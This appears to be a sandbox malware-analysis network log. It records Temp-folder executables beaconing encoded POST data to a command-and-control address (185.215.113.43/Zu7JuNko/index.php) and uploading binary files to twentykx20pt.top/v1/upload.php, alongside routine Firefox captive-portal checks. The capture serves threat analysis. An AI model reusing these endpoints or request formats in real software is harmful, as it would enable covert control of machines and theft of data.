Nov 29, 2024 19:51:42.662441969 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 28 Nov 2024 23:14:22 GMT Age: 70640 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 29, 2024 19:51:52.703577042 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 29, 2024 19:52:00.841149092 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 29, 2024 19:52:01.156431913 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 28 Nov 2024 23:14:22 GMT Age: 70659 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 29, 2024 19:52:11.001183033 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 29, 2024 19:52:11.319874048 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 28 Nov 2024 23:14:22 GMT Age: 70669 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 29, 2024 19:52:21.399023056 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 29, 2024 19:52:31.602216005 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 29, 2024 19:52:41.892683983 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 29, 2024 19:52:42.203953981 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 29, 2024 19:52:42.520912886 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 28 Nov 2024 23:14:22 GMT Age: 70700 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 29, 2024 19:52:52.691452026 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 29, 2024 19:53:02.899139881 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 29, 2024 19:53:13.109740973 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 29, 2024 19:53:23.299297094 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 29, 2024 19:53:33.495359898 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 29, 2024 19:54:03.746439934 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 29, 2024 19:54:04.061697006 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 28 Nov 2024 23:14:22 GMT Age: 70781 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 29, 2024 19:54:12.472106934 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 29, 2024 19:54:12.787677050 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 28 Nov 2024 23:14:22 GMT Age: 70790 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	50109	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:51:21.402806997 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 30 33 35 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1010359001&unit=246122658369
Nov 29, 2024 19:51:22.832830906 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:51:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	50122	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:51:24.597125053 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 19:51:26.031187057 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:51:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	50127	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:51:27.884634972 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 29, 2024 19:51:29.251357079 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:51:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	50128	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:51:30.983827114 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 19:51:32.364742994 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:51:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	50130	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:51:33.996176958 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 29, 2024 19:51:35.440674067 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:51:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	50132	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:51:37.259279013 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 19:51:38.687385082 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:51:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	50145	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:51:41.947523117 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 19:51:43.326116085 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:51:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	50147	34.118.84.150	80	5656	C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:51:43.872122049 CET	646	OUT	POST /v1/upload.php HTTP/1.1 Host: twentykx20pt.top Accept: / Content-Length: 464 Content-Type: multipart/form-data; boundary=------------------------P4Udq0rmp2aXcFUwMX0N0D Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 50 34 55 64 71 30 72 6d 70 32 61 58 63 46 55 77 4d 58 30 4e 30 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 54 75 66 69 76 75 73 69 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 91 bc c0 fa 08 28 ef d8 c9 85 d1 b6 5c 7b d2 71 07 32 e3 7f 29 4c 3c 5e 68 eb b7 c4 2b 30 e8 b4 d8 6f 13 e8 97 eb 36 e0 98 72 fa 95 ac 59 6b 74 19 e1 60 e8 cb 44 c8 82 96 85 f8 a3 7a 25 98 93 d0 52 a9 b3 18 ce 17 9d a9 cf 78 97 ea 76 f6 f6 70 b5 ce 63 93 a2 49 34 8b c5 40 36 61 27 48 77 e2 fc e3 6b d0 33 f1 0b 89 64 24 5f 26 9d 3d f8 56 eb 0c 31 8f 4e 41 d0 40 95 a7 cc 20 11 52 a0 e2 f9 59 06 38 9f 14 75 b3 d1 8f 1a 49 dd bd 32 1e 14 66 65 ca d3 c5 28 4e 28 be 6b 5d d4 ea 75 33 6c cb 03 09 40 32 2f ce f1 45 14 77 47 80 0e [TRUNCATED] Data Ascii: --------------------------P4Udq0rmp2aXcFUwMX0N0DContent-Disposition: form-data; name="file"; filename="Tufivusi.bin"Content-Type: application/octet-stream(\{q2)L<^h+0o6rYkt`Dz%RxvpcI4@6a'Hwk3d$_&=V1NA@ RY8uI2fe(N(k]u3l@2/EwGhv"\9o&)=S6Lk>5ybwA_fx2p>/--------------------------P4Udq0rmp2aXcFUwMX0N0D--
Nov 29, 2024 19:51:45.264103889 CET	271	IN	HTTP/1.1 200 OK server: nginx/1.24.0 (Ubuntu) date: Fri, 29 Nov 2024 18:51:45 GMT content-type: text/plain; charset=utf-8 content-length: 2 x-ratelimit-limit: 30 x-ratelimit-remaining: 29 x-ratelimit-reset: 1732908106 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	50148	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:51:44.962404966 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 29, 2024 19:51:46.394743919 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:51:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	50149	34.118.84.150	80	5656	C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:51:46.700328112 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: twentykx20pt.top Accept: / Content-Length: 58951 Content-Type: multipart/form-data; boundary=------------------------F8HCe7kAdO4hpbF3UNEsVF Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 46 38 48 43 65 37 6b 41 64 4f 34 68 70 62 46 33 55 4e 45 73 56 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 46 69 76 65 6d 65 71 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a af 79 d3 1c 71 c5 a3 23 74 7a 04 f8 1b 1e b8 5f 9d 33 1b ff c4 aa 47 30 a4 98 b4 23 90 de fe 01 09 4f 37 90 c2 79 58 a8 f0 9a 15 60 6c 87 1b 9d 7a 7d 6b 97 79 bf 4b 48 d0 dc 27 1e 3a 65 b3 45 77 6c d2 e1 ad e4 70 40 87 c2 e6 53 f4 3e 1a aa 42 63 35 c3 95 3c 37 b7 8c ff e7 4b e6 f3 85 9e d9 29 13 05 d7 1c 96 1a a1 68 2c 8c f9 92 14 68 ef 45 5a 79 dc a4 71 3f ad 74 cb f6 7b f8 c8 57 7a 03 01 8a 84 d0 25 79 81 df 2f 29 dc fe 7a c4 69 8b 88 fb f3 47 49 05 4d c6 96 8a 4c eb ef e0 9d 57 b2 2b e5 58 94 61 60 3f d1 3d df e5 03 dc fa [TRUNCATED] Data Ascii: --------------------------F8HCe7kAdO4hpbF3UNEsVFContent-Disposition: form-data; name="file"; filename="Fivemeq.bin"Content-Type: application/octet-streamyq#tz_3G0#O7yX`lz}kyKH':eEwlp@S>Bc5<7K)h,hEZyq?t{Wz%y/)ziGIMLW+Xa`?=#Dq{@E)CS~UJNNAzpnr!$\|'Q}f%2H0A?#s<wSTkw\|^')40E^Q\|AfytbQ.NO+V7ljO-,b(\|9w>ZH7{^{l^oVGpY"2}mSvJ$v[X0HUaJqaJOLIh?PtIS&uJ5?&Xw"xeh"vv^hYD5@QzSnQa![29:O+Oc%<4SY0?(z`b{Taq+Pb^e{%~~A\Sme,<G]YB*\|yOeQs5g5QYH%ZapPM[\@cKTl!s\|JP&0)}xsZ2eLDVScD)2.BHE^+\|(< [TRUNCATED]
Nov 29, 2024 19:51:46.820960045 CET	14832	OUT	Data Raw: 74 18 8f d9 1e 40 c8 a2 76 cf b0 55 e5 d8 d7 9c 5b 40 7e 37 7e e3 14 8d 1b a6 67 65 0b fe 5e af 9b 42 fc f6 d5 35 64 68 56 fb f0 4f 00 6c 32 8d ff 5a ba 93 49 22 b8 fb 79 94 c0 00 5f 0f d2 a4 f0 53 c6 31 94 b3 10 cd 27 3b 54 b1 34 52 a7 1b 7b 57 Data Ascii: t@vU[@~7~ge^B5dhVOl2ZI"y_S1';T4R{W5Mh5;(EJ0$g@uHGg{X&Hg&tt,u('Im]Nd(dC=WJ2H>,_sg^0)'M+smB*C_AW\]
Nov 29, 2024 19:51:46.821193933 CET	9888	OUT	Data Raw: ef b2 4c 90 8a e6 fc 15 76 12 ec b5 a6 36 f8 7f ff ca ec 63 76 2e 8e 50 57 13 8a 73 54 30 2e 83 b7 18 e3 a7 ae bb 8f 67 e2 a4 cb a1 5c 76 5d e8 fe 04 49 4b 90 94 91 96 ad 04 6f 90 2b 9f cc da 72 7b 7d 2d 97 bd 1a ea b9 89 4e 93 77 ee 02 69 ad 05 Data Ascii: Lv6cv.PWsT0.g\v]IKo+r{}-Nwi+[#E~sh`Qm0JHAXSzL$AUa4k%L AOOE\|~V$`&n! y .H%S}HJp&EWRCD4HZ\
Nov 29, 2024 19:51:46.941303015 CET	4944	OUT	Data Raw: 47 2f 9f c7 79 4d d5 77 19 96 6d 4c 91 1e 33 f2 67 6e e5 75 87 c7 a2 26 d2 11 02 b5 25 90 8b 4b a9 25 b3 58 03 da 67 b0 a8 e7 a7 c4 07 82 86 42 6f 11 85 8c 4b a2 35 83 51 ed 59 e6 06 50 27 1a a3 fe 13 c3 47 2d 81 68 da c1 90 d7 c0 8d 56 7a c2 e7 Data Ascii: G/yMwmL3gnu&%K%XgBoK5QYP'G-hVzYXi%sts@M;Qqb3MzlGIeK)Ps2t8SR9"[Dmix~R:Ho\\|<*[oR/^
Nov 29, 2024 19:51:46.941487074 CET	4944	OUT	Data Raw: b4 54 d4 8d 83 af 93 7b d8 96 d7 ce e6 6b b3 06 6f 79 d6 ca e6 74 b9 c3 5c d4 95 f3 d1 03 3e 15 62 52 e7 db 6d 76 b8 d9 c9 34 42 55 ce 4c d4 fb 66 bb a9 23 49 02 5c 63 68 a6 be 5e aa e7 2a a2 97 6c 55 03 0f 6a 23 93 27 2e b7 a0 cf e9 12 c5 eb 71 Data Ascii: T{koyt\>bRmv4BULf#I\ch^lUj#'.que4\a%JVpnzZd d%HjaT8D3\A'\|D(1%S'CP8<<}Ib61EPi9{-WbK\|xl~3(zz^W\|
Nov 29, 2024 19:51:46.941625118 CET	4944	OUT	Data Raw: 5c f6 de 0f 90 54 e7 71 48 96 8e f1 22 1a 30 a1 0a 45 31 17 a5 74 1d 32 4e 8e 5f f9 1d 8e 9d 90 cc c7 e2 68 b1 aa 42 80 f4 70 0f 01 c5 dc e0 90 04 07 b7 89 3f 08 ba 93 c6 6f 6a 86 16 b9 80 af dc e7 88 4c 3b 8e f7 78 1d 58 86 93 74 1e 97 89 db b5 Data Ascii: \TqH"0E1t2N_hBp?ojL;xXt"nxkbjDEq'.\xcz!WJqEJ1]8>hU%<vD4.5g%62:*N3($vR'Q4P~'
Nov 29, 2024 19:51:46.985630035 CET	7223	OUT	Data Raw: 00 58 b9 51 1b 62 fc fe 30 f8 b8 8a c7 40 f4 b1 60 2d d3 be 02 f3 02 c4 9d c5 63 44 b5 a8 82 44 75 d1 f7 2b 0d c9 b8 88 39 b3 c1 6c fe 19 dc 8d 61 65 1d 2b b0 3a b8 2c d3 68 fe 23 20 5f 9e 65 f4 42 05 d5 12 93 8b 10 3e 9a 2d 71 15 07 16 0b 4e 32 Data Ascii: XQb0@`-cDDu+9lae+:,h# _eB>-qN2r]!T)Xsyy[V)K3OL<I3MtH:g%j]LE5 z^mtsjvh?EL_b?^{W#`7>78_(f5 _\|O?;O
Nov 29, 2024 19:51:48.456996918 CET	271	IN	HTTP/1.1 200 OK server: nginx/1.24.0 (Ubuntu) date: Fri, 29 Nov 2024 18:51:48 GMT content-type: text/plain; charset=utf-8 content-length: 2 x-ratelimit-limit: 30 x-ratelimit-remaining: 28 x-ratelimit-reset: 1732908106 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	50150	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:51:48.136934042 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 19:51:49.479481936 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:51:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	50152	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:51:51.120553017 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
